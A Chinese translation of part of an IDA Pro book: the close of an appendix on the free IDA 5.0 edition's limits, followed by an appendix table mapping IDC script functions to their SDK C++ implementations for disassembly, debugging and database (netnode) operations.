+   免费版仅包含一些常见的 x86 二进制文件类型库,包括 GNU、Microsoft 和 Borland 编译器的库。

+   免费版附带 IDC 脚本数量显著减少,并且没有附带 Python 脚本,因为 5.0 版本早于 IDAPython 的集成。

+   FLAIR 工具和 SDK 等附加组件不包括在内。

+   仅对本地 Windows 进程/二进制文件启用调试。没有远程调试功能。

IDA 免费版的外观和感觉反映了所有商业版本的外观和感觉。对于免费版中存在的功能,其行为与书中描述的商业版 IDA 的行为相似,如果不是完全相同。因此,IDA 免费版是熟悉 IDA 的绝佳方式,在做出购买决定之前。在非商业环境,如学术环境中,只要 x86 的限制不是问题,IDA 免费版提供了学习反汇编和逆向工程基础的优秀机会。

# 使用 IDA 免费版

对于涉及 x86 反汇编常见文件类型的基本任务,IDA 免费版可能提供你所需要的所有功能。特别是,IDA 5.0 是第一个集成基于图形显示模式的版本。仅此一项功能就比之前的免费版有了实质性的升级。当你发现自己需要 IDA 的一些更高级功能时,免费版开始显得力不从心。这尤其体现在创建 FLIRT 签名以及创建和使用 IDA 插件方面。FLAIR 工具(见第十二章)之前的解决方案需要修改 SDK,这并不容易获得。在撰写本文时,尚无已知公开可用的方法编译与 IDA 5.0 免费版兼容的插件。因此,希望尝试各种知名插件(见第二十三章]) 请参阅 [`www.woodmann.com/forum/showthread.php?t=10756`](http://www.woodmann.com/forum/showthread.php?t=10756).


# 附录 B. IDC/SDK 交叉引用

![无标题图片](https://github.com/OpenDocCN/greenhat-zh/raw/master/docs/ida-pro-bk-2e/img/httpatomoreillycomsourcenostarchimages854059.png.jpg)

下表用于将 IDC 脚本函数映射到它们的 SDK 实现。该表的目的在于帮助熟悉 IDC 的程序员了解如何使用 SDK 函数执行类似操作。这种表的需求有两个原因:(1)IDC 函数名称与其 SDK 对应项不匹配,以及(2)在某些情况下,单个 IDC 函数由几个 SDK 操作组成。该表还揭示了 SDK 利用 *netnodes* 作为将信息存储到 IDA 数据库的一种方式的一些方法。具体来说,当我们回顾 IDC 数组操作函数时,可以看出 netnodes 被用于实现 IDC 数组的方式。

该表试图使 SDK 描述简明扼要。为此,省略了错误检查代码以及许多 C++ 语法元素(特别是大括号 `{`)。许多 SDK 函数通过将数据复制到调用者提供的缓冲区中返回结果。为了简洁,这些缓冲区未声明。为了保持一致性,这些缓冲区被命名为 `buf`,其大小在大多数情况下假定为 1,024 字节,这是 IDA 6.1 SDK 的 `MAXSTR` 常量的值。最后,仅在变量的使用有助于理解示例的情况下才使用变量声明。未声明的变量通常是 IDC 函数的输入参数,如 IDA 内置帮助系统中的相应参考页面中命名的那样。

请记住,IDC 在过去几年中已经发生了显著的变化。在其早期版本中,IDC 的主要目的是向脚本程序员公开 SDK 中一些更常用的功能。随着语言功能的增加,已经添加了新的 IDC 函数,其唯一目的是支持高级 IDC 功能,如对象和异常。所有 IDC 函数最终都由 SDK 函数支持,因此,在某种程度上发生了角色反转,新的 IDC 功能要求添加新的 SDK 功能。SDK 的最新版本现在包括一些旨在提供 IDC 对象模型低级实现的函数。在大多数情况下,用户不太可能需要在编译模块内使用这些函数。你可能发现对象操作函数有用的一个例子是当你发现自己正在开发将添加新函数来扩展 IDC 语言的插件时。

| IDC 功能 | SDK 实现 |
| --- | --- |
| `AddAutoStkPnt2` | `add_auto_stkpnt2(get_func(func_ea), ea, delta);` |
| `AddBpt` | `//宏定义用于 AddBptEx(ea, 0, BPT_SOFT);` |
| `AddBptEx` | `add_bpt(ea, size, bpttype);` |
| `AddCodeXref` | `add_cref(From, To, flowtype);` |
| `AddConstEx` | `add_const(enum_id, name, value, bmask);` |
| `AddEntryPoint` | `add_entry(ordinal, ea, name, makecode);` |
| `AddEnum` | `add_enum(idx, name, flag);` |
| `AddHotkey` | `add_idc_hotkey(hotkey, idcfunc);` |
| `AddSeg` |

segment_t s;
s.startEA = startea;
s.endEA = endEA;
s.sel = setup_selector(base);
s.bitness = use32;
s.align = align;
s.comb = comb;
add_segm_ex(&s, NULL, NULL, ADDSEG_NOSREG);


|

| `AddSourceFile` | `add_sourcefile(ea1, ea2, filename);` |
| --- | --- |
| `AddStrucEx` | `add_struc(index, name, is_union);` |
| `AddStrucMember` |

typeinfo_t mt;
//calls an internal function to initialize mt using typeid
add_struc_member(get_struc(id), name, offset, flag, &mt, nbytes);


|

| `AltOp` |
| --- |

get_forced_operand(ea, n, buf, sizeof(buf));
return qstrdup(buf);


|

| `Analysis` | `//macro for SetCharPrm(INF_AUTO, x)` |
| --- | --- |
| `AnalyzeArea` | `analyze_area(sEA, eEA);` |
| `Appcall` |

//nargs is the number of arguments following type
//args is idc_value_t[] of args following type
idc_value_t result;
if (type.vtype == VT_LONG && type.num == 0)
appcall(ea, 0, NULL, NULL, nargs, args, &result);
else
idc_value_t tval, fields;
internal_parse_type(&type, &tval, &fields);
appcall(ea, 0, &tval, &fields, nargs, args, &result);


|

| `AppendFchunk` | `append_func_tail(get_func(funcea), ea1, ea2);` |
| --- | --- |
| `ApplySig` | `plan_to_apply_idasgn(name);` |
| `AskAddr` |

ea_t addr = defval;
askaddr(&addr, "%s", prompt):
return addr;


|

| `AskFile` | `return qstrdup(askfile_c(forsave, mask, "%s", prompt));` |
| --- | --- |
| `AskIdent` | `return qstrdup(askident(defval, "%s", prompt));` |
| `AskLong` |

sval_t val = defval;
asklong(&val, "%s", prompt):
return val;


|

| `AskSeg` |
| --- |

sel_t seg = defval;
askseg(&sel, "%s", prompt):
return val;


|

| `AskSelector` | `return ask_selector(sel);` |
| --- | --- |
| `AskStr` | `return qstrdup(askstr(HIST_CMT, defval, "%s", prompt));` |
| `AskYN` | `return askyn_c(defval, "%s", prompt);` |
| `AttachProcess` | `return attach_process(pid, event_id);` |
| `AutoMark` | `//macro, see AutoMark2` |
| `AutoMark2` | `auto_mark_range(start, end, queuetype);` |
| `AutoShow` | `//macro, see SetCharPrm` |
| `AutoUnmark` |

//*** undocumented function
autoUnmark(start, end, type);


|

| `Batch` | `::batch = batch;` |
| --- | --- |
| `BeginEA` | `//macro, see GetLongPrm` |
| `BeginTypeUpdating` | `return begin_type_updating(utp)` |
| `Byte` | `return get_full_byte(ea);` |
| `CanExceptionContinue` | `return get_debug_event()->can_cont;` |
| `ChangeConfig` | `internal_change_config(line)` |
| `CheckBpt` | `check_bpt(ea)` |
| `Checkpoint` | `//*** undocumented function` |
| `ChooseFunction` | `return choose_func(ea, −1)->startEA;` |
| `CleanupAppcall` | `return cleanup_appcall(0) == 0;` |
| `CmtIndent` | `//macro, see SetCharPrm` |
| `CommentEx` |

get_cmt(ea, repeatable, buf, sizeof(buf));
return qstrdup(buf);


|

| `Comments` | `//macro, see SetCharPrm` |
| --- | --- |
| `Compile` | `//macro for CompileEx(file, 1);` |
| `CompileEx` |

if (isfile)
CompileEx(input, CPL_DEL_MACROS | CPL_USE_LABELS,
errbuf, sizeof(errbuf));
else
CompileLineEx(input, errbuf, sizeof(errbuf));


|

| `CreateArray` |
| --- |

qsnprintf(buf, sizeof(buf), "$ idc_array %s", name);
netnode n(buf, 0, true);
return (nodeidx_t)n;


|

| `DbgByte` |
| --- |

if (dbg && (dbg->may_disturb() || get_process_state() < 0))
uint8_t b;
dbg->read_memory(ea, &b, sizeof(b));
return b;


|

| `DbgDword` |
| --- |

if (dbg && (dbg->may_disturb() || get_process_state() < 0))
uint32_t d;
dbg->read_memory(ea, &d, sizeof(d));
return d;


|

| `DbgQword` |
| --- |

if (dbg && (dbg->may_disturb() || get_process_state() < 0))
uint64_t q;
dbg->read_memory(ea, &q, sizeof(q));
return q;


|

| `DbgRead` |
| --- |

if (dbg && (dbg->may_disturb() || get_process_state() < 0))
uint8_t buf = (uint8_t) qalloc(len);
dbg->read_memory(ea, buf, len);
return buf;


|

| `DbgWord` |
| --- |

if (dbg && (dbg->may_disturb() || get_process_state() < 0))
uint16_t w;
dbg->read_memory(ea, &w, sizeof(w));
return w;


|

| `DbgWrite` |
| --- |

if (dbg && (dbg->may_disturb() || get_process_state() < 0))
dbg->write_memory(ea, data, length of data);


|

| `DecodeInstruction` |
| --- |

ua_ana0(ea);
return cmd;


|

| `DefineException` | `return define_exception(code, name, desc, flags);` |
| --- | --- |
| `DelArrayElement` | `netnode n(id).supdel(idx, tag);` |
| `DelBpt` | `del_bpt(ea);` |
| `DelCodeXref` | `del_cref(From, To, undef);` |
| `DelConstEx` | `del_const(enum_id, value, serial, bmask);` |
| `DelEnum` | `del_enum(enum_id);` |
| `DelExtLnA` | `netnode n(ea).supdel(n + 1000);` |
| `DelExtLnB` | `netnode n(ea).supdel(n + 2000);` |
| `DelFixup` | `del_fixup(ea);` |
| `DelFunction` | `del_func(ea);` |
| `DelHashElement` |

netnode n(id);
n.hashdel(idx);


|

| `DelHiddenArea` | `del_hidden_area (ea);` |
| --- | --- |
| `DelHotkey` | `del_idc_hotkey(hotkey);` |
| `DelLineNumber` | `del_source_linnum(ea);` |
| `DelSeg` | `del_segm(ea, flags);` |
| `DelSelector` | `del_selector(sel);` |
| `DelSourceFile` | `del_sourcefile(ea);` |
| `DelStkPnt` | `del_stkpnt(get_func(func_ea), ea);` |
| `DelStruc` | `del_struc(get_struc(id));` |
| `DelStrucMember` | `del_struc_member(get_struc(id), offset);` |
| `DelXML` | `del_xml(path);` |
| `DeleteAll` |

while (get_segm_qty ())
del_segm(getnseg (0), 0);
FlagsDisable(0, inf.ominEA);
FlagsDisable(inf.omaxEA, 0xFFFFFFFF);


|

| `DeleteArray` | `netnode n(id).kill();` |
| --- | --- |
| `Demangle` |

demangle_name(buf, sizeof(buf), name, disable_mask);
return qstrdup(buf);


|

| `DetachProcess` | `detach_process();` |
| --- | --- |
| `Dfirst` | `return get_first_dref_from(From);` |
| `DfirstB` | `return get_first_dref_to(To);` |
| `Dnext` | `return get_next_dref_from(From, current);` |
| `DnextB` | `return get_next_dref_to(To, current);` |
| `Dword` | `return get_full_long(ea);` |
| `EnableBpt` | `enable_bpt(ea, enable);` |
| `EnableTracing` |

if (trace_level == 0)
return enable_step_trace(enable);
else if (trace_level == 1)
return enable_insn_trace(enable);
else if (trace_level == 2)
return enable_func_trace(enable);


|

| `EndTypeUpdating` | `end_type_updating(utp);` |
| --- | --- |
| `Eval` | `idc_value_t v; calcexpr(-1, expr, &v, errbuf, sizeof(errbuf));` |
| `Exec` | `call_system(command);` |
| `ExecIDC` |

char fname[16];
uint32_t fnum = globalCount++; //mutex around globalCount
qsnprintf(fname, sizeof(fname), "___idcexec%d", fnum);
uint32_t len;
len = qsnprintf(NULL, 0, "static %s() {\n%s\n; }", fname, input);
char func = (char)qalloc(len);
qsnprintf(func, len, "static %s() {\n%s\n; }", fname, input);
ExecuteLine(func, fname, NULL, 0, NULL, NULL, err, sizeof(err));
globalCount--; //mutex around globalCount
qfree(func);


|

| `Exit` | `qexit(code);` |
| --- | --- |
| `ExtLinA` |

netnode n(ea).supset(n + 1000, line);
setFlbits(ea, FF_LINE);


|

| `ExtLinB` |
| --- |

netnode n(ea).supset(n + 2000, line);
setFlbits(ea, FF_LINE);


|

| `Fatal` | `error(format, ...);` |
| --- | --- |
| `FindBinary` |

ea_t endea = (flag & SEARCH_DOWN) ? inf.maxEA : inf.minEA;
return find_binary(ea, endea, str, getDefaultRadix(), flag);


|

| `FindCode` | `return find_code(ea, flag);` |
| --- | --- |
| `FindData` | `return find_data(ea, flag);` |
| `FindExplored` | `return find_defined(ea, flag);` |
| `FindFuncEnd` |

func_t f;
find_func_bounds(ea, &f, FIND_FUNC_DEFINE);
return f->endEA;


|

| `FindImmediate` | `return find_imm(ea, flag, value);` |
| --- | --- |
| `FindSelector` | `return find_selector(val);` |
| `FindText` | `return find_text(ea, y, x, str, flag);` |
| `FindUnexplored` | `return find_unknown(ea, flag);` |
| `FindVoid` | `return find_void(ea, flag);` |
| `FirstFuncFchunk` | `get_func(funcea)->startEA;` |
| `FirstSeg` | `return getnseg (0)->startEA;` |
| `ForgetException` |

excvec_t ev = retrieve_exceptions();
for (excvec_t::iterator i = ev->begin(); i != ev->end(); i++)
if ((
i).code == code)
ev->erase(i);
return store_exceptions();
return 0;


|

| `GenCallGdl` | `gen_simple_call_chart(outfile, "Building graph", title, flags);` |
| --- | --- |
| `GenFuncGdl` |

func_t *f = get_func(ea1);
gen_flow_graph(outfile, title, f, ea1, ea2, flags);


|

| `GenerateFile` | `gen_file(type, file_handle, ea1, ea2, flags);` |
| --- | --- |
| `GetArrayElement` |

netnode n(id);
if (tag == 'A') return n.altval(idx);
else if (tag == 'S')
n.supstr(idx, buf, sizeof(buf));
return qstrdup(buf);


|

| `GetArrayId` |
| --- |

qsnprintf(buf, sizeof(buf), "$ idc_array %s", name);
netnode n(buf);
return (nodeidx_t)n;


|

| `GetBmaskCmt` |
| --- |

get_bmask_cmt(enum_id, bmask, repeatable, buf, sizeof(buf));
return qstrdup(buf);


|

| `GetBmaskName` |
| --- |

get_bmask_name(enum_id, bmask, buf, sizeof(buf));
return qstrdup(buf);


|

| `GetBptAttr` |
| --- |

bpt_t bpt;
if (get_bpt(ea, &bpt) == 0) return −1;
if (bpattr == BPTATTR_EA) return bpt.ea;
else if (bpattr == BPTATTR_SIZE) return bpt.size;
else if (bpattr ==BPTATTR_TYPE) return bpt.type;
else if (bpattr == BPTATTR_COUNT) return bpt.pass_count;
else if (bpattr == BPTATTR_FLAGS) return bpt.flags;
else if (bpattr == BPTATTR_COND) return qstrdup(bpt.condition);


|

| `GetBptEA` |
| --- |

bpt_t bpt;
return getn_bpt(n, &bpt) ? bpt.ea : −1;


|

| `GetBptQty` | `return get_bpt_qty();` |
| --- | --- |
| `GetCharPrm` |

if (offset <= 191)
return (unsigned char)(offset + (char*)&inf);


|

| `GetColor` |
| --- |

if (what == CIC_ITEM)
return get_color(ea);
else if (what == CIC_FUNC)
return get_func(ea)->color;
else if (what == CIC_SEGM)
return get_seg(ea)->color;
return 0xFFFFFFFF;


|

| `GetConstBmask` | `return get_const_bmask(const_id);` |
| --- | --- |
| `GetConstByName` | `return get_const_by_name(name);` |
| `GetConstCmt` |

get_const_cmt(const_id, repeatable, buf, sizeof(buf));
return qstrdup(buf);


|

| `GetConstEnum` | `return get_const_enum(const_id);` |
| --- | --- |
| `GetConstEx` | `return get_const(enum_id, value, serial, bmask);` |
| `GetConstName` |

get_const_name(const_id, buf, sizeof(buf));
return qstrdup(buf);


|

| `GetConstValue` | `return get_const_value(const_id);` |
| --- | --- |
| `GetCurrentLine` |

tag_remove(get_curline(), buf, sizeof(buf))
return qstrdup(buf);


|

| `GetCurrentThreadId` | `return get_current_thread();` |
| --- | --- |
| `GetCustomDataFormat` | `return find_custom_data_format(name);` |
| `GetCustomDataType` | `return find_custom_data_type(name);` |
| `GetDebuggerEvent` | `return wait_for_next_event(wfne, timeout);` |
| `GetDisasm` |

generate_disasm_line(ea, buf, sizeof(buf));
tag_remove(buf, buf, 0);
return qstrdup(buf);


|

| `GetEntryName` |
| --- |

get_entry_name(ordinal, buf, sizeof(buf));
return qstrdup(buf);


|

| `GetEntryOrdinal` | `return get_entry_ordinal(index);` |
| --- | --- |
| `GetEntryPoint` | `return get_entry(ordinal);` |
| `GetEntryPointQty` | `return get_entry_qty();` |
| `GetEnum` | `return get_enum(name);` |
| `GetEnumCmt` |

get_enum_cmt(enum_id, repeatable, buf, sizeof(buf));
return qstrdup(buf);


|

| `GetEnumFlag` | `return get_enum_flag(enum_id);` |
| --- | --- |
| `GetEnumIdx` | `return get_enum_idx(enum_id);` |
| `GetEnumName` |

get_enum_name(enum_id, buf, sizeof(buf));
return qstrdup(buf);


|

| `GetEnumQty` | `return get_enum_qty();` |
| --- | --- |
| `GetEnumSize` | `return get_enum_size(enum_id);` |
| `GetEnumWidth` |

if (enum_id > 0xff000000)
netnode n(enum_id);
return (n.altval(0xfffffffb) >> 3) & 7;
else
return 0;


|

| `GetEventBptHardwareEa` | `return get_debug_event()->bpt.hea;` |
| --- | --- |
| `GetEventEa` | `return get_debug_event()->ea;` |
| `GetEventExceptionCode` | `return get_debug_event()->exc.code;` |
| `GetEventExceptionEa` | `return get_debug_event()->exc.ea;` |
| `GetEventExceptionInfo` | `return qstrdup(get_debug_event()->exc.info);` |
| `GetEventExitCode` | `return get_debug_event()->exit_code;` |
| `GetEventId` | `return get_debug_event()->eid;` |
| `GetEventInfo` | `return qstrdup(get_debug_event()->info);` |
| `GetEventModuleBase` | `return get_debug_event()->modinfo.base;` |
| `GetEventModuleName` | `return qstrdup(get_debug_event()->modinfo.name);` |
| `GetEventModuleSize` | `return get_debug_event()->modinfo.size;` |
| `GetEventPid` | `return get_debug_event()->pid;` |
| `GetEventTid` | `return get_debug_event()->tid;` |
| `GetExceptionCode` |

excvec_t ev = retrieve_exceptions();
return idx < ev->size() ? (
ev)[idx].code : 0;


|

| `GetExceptionFlags` |
| --- |

excvec_t ev = retrieve_exceptions();
for (excvec_t::iterator i = ev->begin(); i != ev->end(); i++)
if ((
i).code == code)
return (*i).flags;
return −1;


|

| `GetExceptionName` |
| --- |

excvec_t ev = retrieve_exceptions();
for (excvec_t::iterator i = ev->begin(); i != ev->end(); i++)
if ((
i).code == code)
return new qstring((*i).name);
return NULL;


|

| `GetExceptionQty` | `return retrieve_exceptions()->size();` |
| --- | --- |
| `GetFchunkAttr` |

func_t *f = get_func(ea);
return internal_get_attr(f, attr);


|

| `GetFchunkReferer` |
| --- |

func_t *f = get_fchunk(ea);
func_parent_iterator_t fpi(f);
return n < f->refqty ? f->referers[n] : BADADDR;


|

| `GetFirstBmask` | `return get_first_bmask(enum_id);` |
| --- | --- |
| `GetFirstConst` | `return get_first_const(enum_id, bmask);` |
| `GetFirstHashKey` |

netnode n(id).hash1st(buf, sizeof(buf));
return qstrdup(buf);


|

| `GetFirstIndex` | `return netnode n(id).sup1st(tag);` |
| --- | --- |
| `GetFirstMember` | `return get_struc_first_offset(get_struc(id));` |
| `GetFirstModule` |

module_info_t modinfo;
get_first_module(&modinfo);
return modinfo.base;


|

| `GetFirstStrucIdx` | `return get_first_struc_idx();` |
| --- | --- |
| `GetFixupTgtDispl` |

fixup_data_t fd;
get_fixup(ea, &fd);
return fd.displacement;


|

| `GetFixupTgtOff` |
| --- |

fixup_data_t fd;
get_fixup(ea, &fd);
return fd.off


|

| `GetFixupTgtSel` |
| --- |

fixup_data_t fd;
get_fixup(ea, &fd);
return fd.sel;


|

| `GetFixupTgtType` |
| --- |

fixup_data_t fd;
get_fixup(ea, &fd);
return fd.type;


|

| `GetFlags` | `getFlags(ea);` |
| --- | --- |
| `GetFpNum` |

//*** undocumented function
char buf[16];
union {float f; double d; long double ld} val;
get_many_bytes(ea, buf, len > 16 ? 16 : len);
ph.realcvt(buf, &val, (len >> 1) - 1);
return val;


|

| `GetFrame` | `//macro, see GetFunctionAttr` |
| --- | --- |
| `GetFrameArgsSize` | `//macro, see GetFunctionAttr` |
| `GetFrameLvarSize` | `//macro, see GetFunctionAttr` |
| `GetFrameRegsSize` | `//macro, see GetFunctionAttr` |
| `GetFrameSize` | `return get_frame_size(get_func(ea));` |
| `GetFuncOffset` |

int flags = GNCN_REQFUNC | GNCN_NOCOLOR;
get_nice_colored_name(ea, buf, sizeof(buf),flags);
return qstrdup(buf);


|

| `GetFunctionAttr` |
| --- |

func_t *f = get_func(ea);
return internal_get_attr(f, attr);


|

| `GetFunctionCmt` | `return get_func_cmt(get_func(ea), repeatable);` |
| --- | --- |
| `GetFunctionFlags` | `//macro, see GetFunctionAttr` |
| `GetFunctionName` |

get_func_name(ea, buf, sizeof(buf));
return qstrdup(buf);


|

| `GetHashLong` | `netnode n(id).hashval_long(idx);` |
| --- | --- |
| `GetHashString` |

netnode n(id).hashval(idx, buf, sizeof(buf));
return qstrdup(buf);


|

| `GetIdaDirectory` |
| --- |

qstrncpy(buf, idadir(NULL), sizeof(buf));
return qstrdup(buf);


|

| `GetIdbPath` |
| --- |

qstrncpy(buf, database_idb, sizeof(buf));
return qstrdup(buf);


|

| `GetInputFile` |
| --- |

get_root_filename(buf, sizeof(buf));
return qstrdup(buf);


|

| `GetInputFilePath` |
| --- |

RootNode.valstr(buf, sizeof(buf));
return qstrdup(buf);


|

| `GetInputMD5` |
| --- |

uint8_t md5bin[16];
char out[1024];
char *outp = out;
int len = sizeof(out);
out[0] = 0;
RootNode.supval(RIDX_MD5, md5bin, sizeof(md5bin));
for (int j = 0; j < sizeof(md5bin); j++) {
int nbytes = qsnprintf(out, len, "%02X", md5bin[j]);
outp += nbytes;
len -= nbytes;
}
return qstrdup(out);


|

| `GetLastBmask` | `return get_last_bmask(enum_id);` |
| --- | --- |
| `GetLastConst` | `return get_last_const(enum_id, bmask);` |
| `GetLastHashKey` |

netnode n(id).hashlast(buf, sizeof(buf));
return qstrdup(buf);


|

| `GetLastIndex` | `return netnode n(id).suplast(tag);` |
| --- | --- |
| `GetLastMember` | `return get_struc_last_offset(get_struc(id));` |
| `GetLastStrucIdx` | `return get_last_struc_idx();` |
| `GetLineNumber` | `return get_source_linnum(ea);` |
| `GetLocalType` |

const type_t *type;
const p_list *fields;
get_numbered_type(idati, ordinal, &type, &fields,
NULL, NULL, NULL);
char *name = get_numbered_type_name(idati, ordinal);
qstring res;
print_type_to_qstring(&res, 0, 2, 40, flags, idati, type,
name, NULL, fields, NULL);
return qstrdup(res.c_str());


|

| `GetLocalTypeName` | `return qstrdup(get_numbered_type_name(idati, ordinal));` |
| --- | --- |
| `GetLongPrm` |

if (offset <= 188)
return (int)(offset + (char*)&inf);


|

| `GetManualInsn` |
| --- |

get_manual_insn(ea, buf, sizeof(buf));
return qstrdup(buf);


|

| `GetManyBytes` |
| --- |

uint8_t out = (uint8_t)qalloc(size + 1);
if (use_dbg)
if (dbg && (dbg->may_disturb() || get_process_state() < 0))
dbg->read_memory(ea, out, size);
else
qfree(out);
out = NULL;
else
get_many_bytes(ea, out, size);
return out;


|

| `GetMarkComment` |
| --- |

curloc loc.markdesc(slot, buf, sizeof(buf));
return qstrdup(buf);


|

| `GetMarkedPos` | `return curloc loc.markedpos(&slot);` |
| --- | --- |
| `GetMaxLocalType` | `return get_ordinal_qty(idati);` |
| `GetMemberComment` |

tid_t m = get_member(get_struc(id), offset)->id;
netnode n(m).supstr(repeatable ? 1 : 0, buf, sizeof(buf));
return qstrdup(buf);


|

| `GetMemberFlag` | `return get_member(get_struc(id), offset)->flag;` |
| --- | --- |
| `GetMemberName` |

tid_t m = get_member(get_struc(id), offset)->id;
get_member_name(m, buf, sizeof(buf));
return qstrdup(buf);


|

| `GetMemberOffset` | `return get_member_by_name(get_struc(id), member_name)->soff;` |
| --- | --- |
| `GetMemberQty` | `get_struc(id)->memqty;` |
| `GetMemberSize` |

member_t *m = get_member(get_struc(id), offset);
return get_member_size(m);


|

| `GetMemberStrId` |
| --- |

tid_t m = get_member(get_struc(id), offset)->id;
return netnode n(m).altval(3) - 1;


|

| `GetMinSpd` |
| --- |

func_t *f = get_func(ea);
return f ? get_min_spd_ea(f) : BADADDR;


|

| `GetMnem` |
| --- |

ua_mnem(ea, buf, sizeof(buf));
return qstrdup(buf);


|

| `GetModuleName` |
| --- |

module_info_t modinfo;
if (base == 0)
get_first_module(&modinfo);
else
modinfo.base = base - 1;
get_next_module(&modinfo);
return qstrdup(modinfo.name);


|

| `GetModuleSize` |
| --- |

module_info_t modinfo;
if (base == 0)
get_first_module(&modinfo);
else
modinfo.base = base - 1;
get_next_module(&modinfo);
return modinfo.size;


|

| `GetNextBmask` | `return get_next_bmask(eum_id, value);` |
| --- | --- |
| `GetNextConst` | `return get_next_const(enum_id, value, bmask);` |
| `GetNextFixupEA` | `return get_next_fixup_ea(ea);` |
| `GetNextHashKey` |

netnode n(id).hashnxt(idx, buf, sizeof(buf));
return qstrdup(buf);


|

| `GetNextIndex` | `return netnode n(id).supnxt(idx, tag);` |
| --- | --- |
| `GetNextModule` |

module_info_t modinfo;
modinfo.base = base;
get_next_module(&modinfo);
return modinfo.base;


|

| `GetNextStrucIdx` | `return get_next_struc_idx();` |
| --- | --- |
| `GetOpType` |

*buf = 0;
if (isCode(get_flags_novalue(ea)))
ua_ana0(ea);
return cmd.Operands[n].type;


|

| `GetOperandValue` |
| --- |

Use ua_ana0 to fill command struct then return
appropriate value based on cmd.Operands[n].type


|

| `GetOpnd` |
| --- |

*buf = 0;
if (isCode(get_flags_novalue(ea)))
ua_outop2(ea, buf, sizeof(buf), n);
tag_remove(buf, buf, sizeof(buf));
return qstrdup(buf);


|

| `GetOriginalByte` | `return get_original_byte(ea);` |
| --- | --- |
| `GetPrevBmask` | `return get_prev_bmask(enum_id, value);` |
| `GetPrevConst` | `return get_prev_const(enum_id, value, bmask);` |
| `GetPrevFixupEA` | `return get_prev_fixup_ea(ea);` |
| `GetPrevHashKey` |

netnode n(id).hashprev(idx, buf, sizeof(buf));
return qstrdup(buf);


|

| `GetPrevIndex` | `return netnode n(id).supprev(idx, tag);` |
| --- | --- |
| `GetPrevStrucIdx` | `return get_prev_struc_idx(index);` |
| `GetProcessName` |

process_info_t p;
pid_t pid = get_process_info(idx, &p);
return qstrdup(p.name);


|

| `GetProcessPid` | `return get_process_info(idx, NULL);` |
| --- | --- |
| `GetProcessQty` | `return get_process_qty();` |
| `GetProcessState` | `return get_process_state();` |
| `GetReg` | `return getSR(ea, str2reg(reg));` |
| `GetRegValue` |

regval_t r;
get_reg_val(name, &r);
if (is_reg_integer(name))
return (int)r.ival;
else
//memcpy(result, r.fval, 12);


|

| `GetSegmentAttr` |
| --- |

segment_t *s = get_seg(segea);
return internal_get_attr(s, attr);


|

| `GetShortPrm` |
| --- |

if (offset <= 190)
return (unsigned short)(offset + (char*)&inf);


|

| `GetSourceFile` | `return qstrdup(get_sourcefile(ea));` |
| --- | --- |
| `GetSpDiff` | `return get_sp_delta(get_func(ea), ea);` |
| `GetSpd` | `return get_spd(get_func(ea), ea);` |
| `GetString` |

if (len == −1)
len = get_max_ascii_length(ea, type, true);
get_ascii_contents(ea, len, type, buf, sizeof(buf));
return qstrdup(buf);


|

| `GetStringType` | `return netnode n(ea).altval(16) - 1;` |
| --- | --- |
| `GetStrucComment` |

get_struc_cmt(id, repeatable, buf, sizeof(buf));
return qstrdup(buf);


|

| `GetStrucId` | `return get_struc_by_idx(index);` |
| --- | --- |
| `GetStrucIdByName` | `return get_struc_id(name);` |
| `GetStrucIdx` | `return get_struc_idx(id);` |
| `GetStrucName` |

get_struc_name(id, buf, sizeof(buf));
return qstrdup(buf);


|

| `GetStrucNextOff` | `return get_struc_next_offset(get_struc(id), offset);` |
| --- | --- |
| `GetStrucPrevOff` | `return get_struc_prev_offset(get_struc(id), offset);` |
| `GetStrucQty` | `return get_struc_qty();` |
| `GetStrucSize` | `return get_struc_size(id);` |
| `GetTestId` | `//*** undocumented, returns internal testId` |
| `GetThreadId` | `return getn_thread(idx);` |
| `GetThreadQty` | `return get_thread_qty();` |
| `GetTinfo` | `//no comparable return type in SDK, generally uses get_tinfo` |
| `GetTrueName` | `//macro, see GetTrueNameEx` |
| `GetTrueNameEx` | `return qstrdup(get_true_name(from, ea, buf, sizeof(buf)));` |
| `GetType` |

get_ti(ea, tbuf, sizeof(tbuf), plist, sizeof(plist));
print_type_to_one_line(buf, sizeof(buf), idati,
tbuf, NULL, NULL, plist, NULL);
return qstrdup(buf);


|

| `GetnEnum` | `return getn_enum(idx);` |
| --- | --- |
| `GetVxdFuncName` |

//*** undocumented function
get_vxd_func_name(vxdnum, funcnum, buf, sizeof(buf));
return qstrdup(buf);


|

| `GetXML` |
| --- |

valut_t res;
get_xml(path, &res);
return res;


|

| `GuessType` |
| --- |

guess_type(ea, tbuf, sizeof(tbuf), plist, sizeof(plist));
print_type_to_one_line(buf, sizeof(buf), idati, tbuf,
NULL, NULL, plist, NULL);
return qstrdup(buf);


|

| `HideArea` | `add_hidden_area(start, end, description, header, footer, color);` |
| --- | --- |
| `HighVoids` | `//macro, see SetLongPrm` |
| `IdbByte` | `return get_db_byte(ea);` |
| `Indent` | `//macro, see SetCharPrm` |
| `IsBitfield` | `return is_bf(enum_id);` |
| `IsEventHandled` | `return get_debug_event()->handled;` |
| `IsFloat` | `//IDC variable type query, n/a for SDK` |
| `IsLong` | `//IDC variable type query, n/a for SDK` |
| `IsObject` | `//IDC variable type query, n/a for SDK` |
| `IsString` | `//IDC variable type query, n/a for SDK` |
| `IsUnion` | `return get_struc(id)->is_union();` |
| `ItemEnd` | `return get_item_end(ea);` |
| `ItemHead` | `return get_item_head(ea);` |
| `ItemSize` | `return get_item_end(ea) - ea;` |
| `Jump` | `jumpto(ea);` |
| `LineA` |

netnode n(ea).supstr(1000 + num, buf, sizeof(buf));
return qstrdup(buf);


|

| `LineB` |
| --- |

netnode n(ea).supstr(2000 + num, buf, sizeof(buf));
return qstrdup(buf);


|

| `LoadDebugger` | `load_debugger(dbgname, use_remote);` |
| --- | --- |
| `LoadTil` | `return add_til2(name, 0);` |
| `LocByName` | `return get_name_ea(-1, name);` |
| `LocByNameEx` | `return get_name_ea(from, name);` |
| `LowVoids` | `//macro, see SetLongPrm` |
| `MK_FP` | `return ((seg<<4) + off);` |
| `MakeAlign` | `doAlign(ea, count, align);` |
| `MakeArray` |

typeinfo_t ti;
flags_t f = get_flags_novalue(ea);
get_typeinfo(ea, 0, f, &ti);
asize_t sz = get_data_elsize(ea, f, &ti);
do_data_ex (ea, f, sz * nitems, ti.tid);


|

| `MakeByte` | `//macro, see MakeData` |
| --- | --- |
| `MakeCode` | `ua_code(ea);` |
| `MakeComm` | `set_cmt(ea, cmt, false);` |
| `MakeData` | `do_data_ex(ea, flags, size, tid);` |
| `MakeDouble` | `//macro, see MakeData` |
| `MakeDword` | `//macro, see MakeData` |
| `MakeFloat` | `//macro, see MakeData` |
